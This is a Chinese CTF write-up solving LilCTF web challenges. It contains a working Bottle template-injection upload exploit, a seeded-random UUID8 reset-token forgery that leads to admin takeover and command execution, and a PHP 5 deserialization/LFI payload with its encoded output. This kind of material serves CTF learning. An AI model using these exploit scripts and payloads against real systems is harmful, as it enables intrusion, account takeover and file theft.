LilCTF Web

给学满一年的CTFer的CTF对我而言还是太超标了,全靠队友带飞,我会继续努力的(哭)(励志)

(题目出的太好了)

ez_bottle

由题目这部分可知,需要我们上传zip文件,然后会检测文件内容,合格之后再进行解压

1
2
3
4
5
6
7
8
9
10
@post('/upload')
def upload():
zip_file = request.files.get('file')
if not zip_file or not zip_file.filename.endswith('.zip'):
return 'Invalid file. Please upload a ZIP file.'

if len(zip_file.file.read()) > MAX_FILE_SIZE:
return 'File size exceeds 1MB. Please upload a smaller ZIP file.'

....

通过查看bottle框架的开发文档,可以知道bottle允许%后跟上命令,那就可以将命令写在tlp文件中再进行解压后上传,题目过滤的_用chr(95)来代替,将执行路径直接设置为根目录,这样就可以直接包含flag文件

网站本身没有上传功能,也不让导入numpy,就直接用bottle自带的include,直接ai写个上传代码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import requests
import time
import re
import zipfile
from io import BytesIO

# 配置目标信息
TARGET_URL = "http://challenge.xinshi.fun:44810" # 替换为目标URL
UPLOAD_ENDPOINT = f"{TARGET_URL}/upload"
VIEW_BASE = f"{TARGET_URL}/view"

# 创建恶意模板文件内容
exploit_content = """
% import bottle
% setattr(bottle, 'TEMPLATE' + chr(95) + 'PATH', ['/'])
% include('flag')
"""

# 创建内存中的ZIP文件
def create_malicious_zip():
zip_buffer = BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
# 使用随机文件名增加成功率
filename = f"exploit_{int(time.time())}.tpl"
zf.writestr(filename, exploit_content)
zip_buffer.seek(0)
return zip_buffer, filename

# 上传ZIP文件并解析响应
def upload_and_exploit():
# 创建恶意ZIP
zip_buffer, filename = create_malicious_zip()

# 上传文件
files = {'file': ('exploit.zip', zip_buffer, 'application/zip')}
response = requests.post(UPLOAD_ENDPOINT, files=files)

if response.status_code != 200:
print(f"上传失败! 状态码: {response.status_code}")
print(f"响应内容: {response.text[:500]}...")
return

# 解析响应获取MD5和文件名
match = re.search(r'/view/([a-f0-9]+)/([^\s"]+)', response.text)
if not match:
print("解析上传响应失败!")
print("尝试查找返回内容:", response.text[:500])
return

md5_hash = match.group(1)
# 使用我们实际生成的文件名(响应中可能截断)
# filename = match.group(2)

# 访问漏洞URL
exploit_url = f"{VIEW_BASE}/{md5_hash}/{filename}"
print(f"访问漏洞URL: {exploit_url}")

flag_response = requests.get(exploit_url)

if flag_response.status_code == 200:
print("\n成功获取响应:")
print(flag_response.text)

# 检查是否是flag格式
if "flag{" in flag_response.text:
print("\n🎉 成功获取flag!")
else:
print("响应中包含flag? 检查输出内容")
else:
print(f"获取flag失败! 状态码: {flag_response.status_code}")
print(f"错误响应: {flag_response.text[:500]}...")

if __name__ == "__main__":
print("开始漏洞利用...")
print("1. 创建恶意ZIP文件")
print("2. 上传到目标服务器")
print("3. 触发模板注入漏洞")
print("=" * 50)

upload_and_exploit()



#LILCTF{6O7T1E_haS_83en_reCYCLEd}

Ekko_note

先放个源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2066/07/05 19:20:29
@Author : Ekko exec inc. 某牛马程序员
'''
import os
import time
import uuid
import requests

from functools import wraps
from datetime import datetime
from secrets import token_urlsafe
from flask_sqlalchemy import SQLAlchemy
from werkzeug.security import generate_password_hash, check_password_hash
from flask import Flask, render_template, redirect, url_for, request, flash, session

SERVER_START_TIME = time.time()


# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)


admin_super_strong_password = token_urlsafe()
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

db = SQLAlchemy(app)

class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(20), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
password = db.Column(db.String(60), nullable=False)
is_admin = db.Column(db.Boolean, default=False)
time_api = db.Column(db.String(200), default='https://api.uuni.cn//api/time')


class PasswordResetToken(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
token = db.Column(db.String(36), unique=True, nullable=False)
used = db.Column(db.Boolean, default=False)


def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int

with app.app_context():
db.create_all()
if not User.query.filter_by(username='admin').first():
admin = User(
username='admin',
email='admin@example.com',
password=generate_password_hash(admin_super_strong_password),
is_admin=True
)
db.session.add(admin)
db.session.commit()

def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
flash('请登录', 'danger')
return redirect(url_for('login'))
return f(*args, **kwargs)
return decorated_function

def admin_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
flash('请登录', 'danger')
return redirect(url_for('login'))
user = User.query.get(session['user_id'])
if not user.is_admin:
flash('你不是admin', 'danger')
return redirect(url_for('home'))
return f(*args, **kwargs)
return decorated_function

def check_time_api():
user = User.query.get(session['user_id'])
try:
response = requests.get(user.time_api)
data = response.json()
datetime_str = data.get('date')
if datetime_str:
print(datetime_str)
current_time = datetime.fromisoformat(datetime_str)
return current_time.year >= 2066
except Exception as e:
return None
return None
@app.route('/')
def home():
return render_template('home.html')

@app.route('/server_info')
@login_required
def server_info():
return {
'server_start_time': SERVER_START_TIME,
'current_time': time.time()
}
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
email = request.form.get('email')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')

if password != confirm_password:
flash('密码错误', 'danger')
return redirect(url_for('register'))

existing_user = User.query.filter_by(username=username).first()
if existing_user:
flash('已经存在这个用户了', 'danger')
return redirect(url_for('register'))

existing_email = User.query.filter_by(email=email).first()
if existing_email:
flash('这个邮箱已经被注册了', 'danger')
return redirect(url_for('register'))

hashed_password = generate_password_hash(password)
new_user = User(username=username, email=email, password=hashed_password)
db.session.add(new_user)
db.session.commit()

flash('注册成功,请登录', 'success')
return redirect(url_for('login'))

return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')

user = User.query.filter_by(username=username).first()
if user and check_password_hash(user.password, password):
session['user_id'] = user.id
session['username'] = user.username
session['is_admin'] = user.is_admin
flash('登陆成功,欢迎!', 'success')
return redirect(url_for('dashboard'))
else:
flash('用户名或密码错误!', 'danger')
return redirect(url_for('login'))

return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
session.clear()
flash('成功登出', 'info')
return redirect(url_for('home'))

@app.route('/dashboard')
@login_required
def dashboard():
return render_template('dashboard.html')

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'POST':
email = request.form.get('email')
user = User.query.filter_by(email=email).first()
if user:
# 选哪个UUID版本好呢,好头疼 >_<
# UUID v8吧,看起来版本比较新
token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
reset_token = PasswordResetToken(user_id=user.id, token=token)
db.session.add(reset_token)
db.session.commit()
# TODO:写一个SMTP服务把token发出去
flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
return redirect(url_for('reset_password'))
else:
flash('没有找到该邮箱对应的注册账户', 'danger')
return redirect(url_for('forgot_password'))

return render_template('forgot_password.html')

@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
if request.method == 'POST':
token = request.form.get('token')
new_password = request.form.get('new_password')
confirm_password = request.form.get('confirm_password')

if new_password != confirm_password:
flash('密码不匹配', 'danger')
return redirect(url_for('reset_password'))

reset_token = PasswordResetToken.query.filter_by(token=token, used=False).first()
if reset_token:
user = User.query.get(reset_token.user_id)
user.password = generate_password_hash(new_password)
reset_token.used = True
db.session.commit()
flash('成功重置密码!请重新登录', 'success')
return redirect(url_for('login'))
else:
flash('无效或过期的token', 'danger')
return redirect(url_for('reset_password'))

return render_template('reset_password.html')

@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
result = check_time_api()
if result is None:
flash("API死了啦,都你害的啦。", "danger")
return redirect(url_for('dashboard'))

if not result:
flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
return redirect(url_for('dashboard'))

if request.method == 'POST':
command = request.form.get('command')
os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
return redirect(url_for('execute_command'))

return render_template('execute_command.html')

@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
user = User.query.get(session['user_id'])

if request.method == 'POST':
new_api = request.form.get('time_api')
user.time_api = new_api
db.session.commit()
flash('成功更新API!', 'success')
return redirect(url_for('admin_settings'))

return render_template('admin_settings.html', time_api=user.time_api)

if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")

首先看到开头的这段关于random库的描述

1
2
3
4
# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)

然后看遍源码,发现其他地方都没有出现random相关的,以为是不是无用的代码,欸,并非,如果我们 切换到python14版本 ,然后跟进uuid,可以发现,UUID8中,如果没有用到参数的话,就会调用random库

但是题目这边用到了random.seed(SERVER_START_TIME),就说明我们uuid8不带参数后,调用了random库,且seed确定,生成的uuid也就是确定的

那么哪里可以获取种子呢?来看以下代码

1
2
3
4
5
6
7
@app.route('/server_info')
@login_required
def server_info():
return {
'server_start_time': SERVER_START_TIME,
'current_time': time.time()
}

我们随便注册一个账户进去,然后访问server_info就可以得到时间种子

1
{"current_time":1755516849.8100307,"server_start_time":1755516703.046276}

然后再看他生成token的逻辑

1
2
3
4
5
6
7
8
9
def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int


token = str(uuid.uuid8(a=padding(user.username)))

很好,这样就可以生成我们需要的uuid8了,username直接改成admin

1
2
3
4
5
6
7
8
9
10
11
12
import random
import uuid
random.seed(1755516703.046276)
def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int
print(uuid.uuid8(a=padding('admin')))

#61646d69-6e00-8401-83da-2e1ecd76b646

那么说了这么多,这个token用在哪呢?回到源码,能看以下部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
with app.app_context():
db.create_all()
if not User.query.filter_by(username='admin').first():
admin = User(
username='admin',
email='admin@example.com',
password=generate_password_hash(admin_super_strong_password),
is_admin=True
)
db.session.add(admin)
db.session.commit()

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'POST':
email = request.form.get('email')
user = User.query.filter_by(email=email).first()
if user:
# 选哪个UUID版本好呢,好头疼 >_<
# UUID v8吧,看起来版本比较新
token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
reset_token = PasswordResetToken(user_id=user.id, token=token)
db.session.add(reset_token)
db.session.commit()
# TODO:写一个SMTP服务把token发出去
flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
return redirect(url_for('reset_password'))
else:
flash('没有找到该邮箱对应的注册账户', 'danger')
return redirect(url_for('forgot_password'))

这里可以看到给了我们admin的账号和邮箱,然后密码是未知的,而利用刚刚生成的token可以更改admin的密码,从而登入admin账号

然后访问admin/settings,再看源码,发现这边是读取api发回的时间(json格式)

1
2
3
4
5
6
7
8
9
10
11
12
13
def check_time_api():
user = User.query.get(session['user_id'])
try:
response = requests.get(user.time_api)
data = response.json()
datetime_str = data.get('date')
if datetime_str:
print(datetime_str)
current_time = datetime.fromisoformat(datetime_str)
return current_time.year >= 2066
except Exception as e:
return None
return None

将API填成自己的服务器IP/time(可访问的)

改完之后发现有执行命令和设置界面,从源码来看,需要时间在2066之后,就可以执行命令,然后时间是通过读取api中的时间,那么这边我们就可以通过更改时间api为自己的VPS,再在VPS上起一个服务,返回时间,这样就可以达到执行命令的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def check_time_api():
user = User.query.get(session['user_id'])
try:
response = requests.get(user.time_api)
data = response.json()
datetime_str = data.get('date')
if datetime_str:
print(datetime_str)
current_time = datetime.fromisoformat(datetime_str)
return current_time.year >= 2066
except Exception as e:
return None
return None

@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
result = check_time_api()
if result is None:
flash("API死了啦,都你害的啦。", "danger")
return redirect(url_for('dashboard'))

if not result:
flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
return redirect(url_for('dashboard'))

if request.method == 'POST':
command = request.form.get('command')
os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
return redirect(url_for('execute_command'))

return render_template('execute_command.html')

@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
user = User.query.get(session['user_id'])

if request.method == 'POST':
new_api = request.form.get('time_api')
user.time_api = new_api
db.session.commit()
flash('成功更新API!', 'success')
return redirect(url_for('admin_settings'))

return render_template('admin_settings.html', time_api=user.time_api)

想更改时间api,然后服务器启动:

1
2
3
4
5
6
7
8
9
10
from flask import Flask, jsonify

app = Flask(__name__)

@app.route('/time')
def time_api():
return jsonify({"date": "2077-01-01 00:00:00"})

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

回到命令执行,然后cat /flag(也可以反弹shell)

You Uns3r

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
highlight_file(__FILE__);
class User
{
public $username;
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}

class Access
{
protected $prefix;
protected $suffix;

public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;

}
}

$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

这边User在执行__destruct()的时候,会检测username是否为admin,由于是弱比较,这里直接username='0'绕过即可,然后是对于Access:的检查

1
$ser = unserialize(serialize(unserialize($this->value)));

这里会检查序列化后的值(外层)是否为Access,想要绕过这个,只需要把原本对象向序列化一次,这样这段字节会被包裹在字符串内部,这样就不会被检测到,再看getToken()

1
2
3
4
5
6
7
8
9
10
11
12
public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;

}

这里可以看到要求prefix和suffix都必须为字符串,然后下面进行拼接,可以利用LFI漏洞获得 Flag,构造 prefix/suffix/../flag,最后拼接出字符串 /lilctf/../flag,PHP 会自动解析路径为 /flag,但是下面这层对于pearcmd的拦截确实没看懂,一开始还以为是用pearcmd文件包含,因为同样也用到了include

还有一个比较坑的点,就是题目php版本为5.60

这里的再抛出异常后并不会触发__destruct对象,像之前其他CTF的用的是PHP7+,只需要数组化即可,但是这边需要利用反序列化特性,将 User 对象写入到 Array 的第一个索引,再将 null 值再次写入到 Array 的第一个索引,即可立即触发 GC 回收

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class User
{
public $username;
public $value;
}

class Access
{
protected $prefix;
protected $suffix;

public function __construct($prefix, $suffix)
{
$this->prefix = $prefix;
$this->suffix = $suffix;
}
}

$a = new Access("/", "/../flag");

$b = new User();
$b->username = 0;
$b->value = serialize($a);

$c = serialize(array($b, NULL));
$c = str_replace('i:1;N;}', 'i:0;N;}', $c); //php5
echo urlencode($ser);


//a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bi%3A0%3Bs%3A5%3A%22value%22%3Bs%3A72%3A%22O%3A6%3A%22Access%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A1%3A%22%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A8%3A%22%2F..%2Fflag%22%3B%7D%22%3B%7Di%3A0%3BN%3B%7D

//LILCTF{gOnn@_flnD_YoUr_4NSWEr_to_UNs3R}

(由于protected的关系,需要URL编码一下)

我曾有一份工作

(这边开始为学习部分)

(先占个位置)

php_jail_is_my_cry

1

blade_cc